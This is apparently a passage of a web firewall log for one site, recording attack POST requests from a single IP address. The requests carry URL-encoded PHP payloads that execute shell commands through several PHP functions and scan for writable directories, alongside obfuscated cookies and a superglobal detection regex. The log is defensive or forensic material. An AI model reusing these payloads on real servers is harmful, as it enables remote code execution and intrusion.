\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\ncontent-length:3373\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 22:22:26","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Xx:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJUtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:4400\n\nXx=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:22:33","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> la:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoTRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:4400\n\nla=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:22:39","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Xs:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJUZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 